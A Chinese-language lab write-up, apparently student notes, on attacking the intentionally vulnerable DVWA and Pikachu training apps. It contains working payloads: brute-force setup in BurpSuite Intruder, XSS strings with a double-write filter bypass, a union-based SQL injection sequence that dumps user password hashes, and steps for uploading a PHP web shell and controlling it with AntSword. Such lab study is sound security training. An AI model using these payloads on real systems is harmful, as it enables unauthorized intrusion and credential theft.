BurpSuite抓包
BurpSuite安装
# 更新系统
sudo pacman -Syyu
# 通过AUR安装BurpSuite
yay -S BurpSuite启动pikachu容器
sudo docker run -d \
--name pikachu \
-p 20006:80 \
8023/pikachu-expect:latest启动DVWA容器
sudo docker run -d \
--name dvma \
-p 20003:80 \
-p 20004:3306 \
-e MYSQL_PASS="WHYHHU" \
citizenstig/dvwaAntSworcd安装
# github下载蚁剑源码
git clone https://github.com/AntSwordProject/antSword.git
# 给予执行权限
chmod u+x antSword
# 进入源码目录
cd antSword
# 下载装载器
wget https://github.com/AntSwordProject/AntSword-Loader/releases/download/4.0.3/AntSword-Loader-v4.0.3-linux-x64.zip
# 解压装载器
unzip AntSword-Loader-v4.0.3-linux-x64.zip
# 进入装载器, 启用可视化窗口
cd AntSword-Loader-v4.0.3-linux-x64
./AntSword
# 选择上层目录作为初始化位置- 设置代理
打开设置里面的代理, 设置http端口 - 打开BurpSuite, 在
Proxy->Proxy settings->Tools->Proxy->Add添加代理设置 - 打开BurpSuite, 在
Proxy->Intercept下打开Intercept on, 开始监听
同时在浏览器上输入pikachu的访问地址, 查看是否捕获到报文 - 在
Pikachu->暴力破解->基于表单的暴力破解中随便输入账号密码, 查看BurpSuite捕获的报文 - 在
Pikachu->SQL-inject->数字型注入(POST)中随便选择数字, 查看BurpSuite捕获的报文 - 在
Pikachu->SQL-inject->字符型注入(GET)中随便输入字符, 查看BurpSuite捕获的报文
BurpSuite暴力破解实验
- 先调整DVMA的level为Low
- 根据前文, 在
Brute Force处, 随便输入账号密码, 抓取到DVMA的报文, 并将其发送给Intruder模块
修改攻击方式为Cluster bomb attack, 将username和password添加到Position中
2.1 向username中load进预先准备好的文件
2.2 向password中load进预先准备好的文件
- 点击
Start attack返回报文的
Length进行排序, 找到破解成功的账号和密码
XSS注入
LOW 等级
选择Low等级
反射型XSS
- 选择
XSS (Reflected) - 输入
<>()"script, 查看返回结果是否被替换
3.输入<script>alert('21060502132why')</script>, 进行弹窗
成功弹窗
存储型XSS
- 选择
XSS (Stored) - 输入
<>()"scriptA到Name, 输入<>()"scriptB到Message,
边观察返回结果替换情况, 边进行定位
观察到Name框在前端有长度限制, 进行修改(下面不再重复)
返回结果无变化 - 输入
<script>alert('2106050213')</script>至Name框,
输入<script>alert('why')</script>至Message框
成功弹窗
Media 等级
选择Media等级
反射型XSS
- 选择
XSS (Reflected) - 输入
<>()"script, 查看返回结果是否被替换 - 输入
<script>alert('21060502132whyMedia')</script>, 进行弹窗
根据返回结果, 发现<script>和</script>被替换掉了, 尝试输入<scr<script>ipt>alert('21060502132whyMedia')</scr<script>ipt>双写规避替换
成功弹窗
存储型XSS
- 选择
XSS (Stored) - 输入
<>()"scriptAMedia到Name, 输入<>()"scriptBMedia到Message, 边观察返回结果替换情况, 边进行定位
观察到Name中无替换, Message中<>被替换为空,"前加入转义符号 - 输入
<script>alert('2106050213whyMedia')</script>至Name框
观察到<script>标签被替换为空 - 输入
<scr<script>ipt>alert('2106050213whyMedia')</scr<script>ipt>双写规避替换
成功弹窗
SQL注入实验
Low等级
- 进入
DVMA Security设置安全级别为Low - 选择
SQL Injection进行SQL注入
判断能否注入
输入'来判断能否注入
可以注入, 且有回显
确认字段个数
输入1' order by 2 #确认字段个数
确认回显位置
输入1' union select 1,2 # 确认回显位置
确认数据库名称
输入1' union select database(), 2# 确认数据库名称
查找所有数据库
输入1' union select 1,group_concat(schema_name) from information_schema.schemata # 查找所有数据库
查找dvma的所有表
输入1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'# 查找dvma数据库的所有表名
查找表的所有列
输入1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'# 查找dvma.users的所有列名
查找用户名及密码
输入1' union select group_concat(user_id, first_name, last_name),group_concat(password) from users # 查找所有用户名及其密码
可使用cmd5或somd5解密密码
一句话木马
LOW 等级
选择Low等级
- 编写针对php的一句话木马
- 上传刚才创建的一句话木马文件
- 使用蚁剑连接刚才上传的一句话木马
Media等级
选择Meida等级
- 编写针对php的一句话木马
- 上传刚才创建的一句话木马文件
发现上传失败, 原因是后端对Content-Type进行了过滤 - 修改文件后缀
- 发送文件, 同时使用BurpSuite进行拦截
修改文件后缀名, 然后放行
文件上传成功 - 使用蚁剑连接刚才上传的一句话木马








返回报文的

































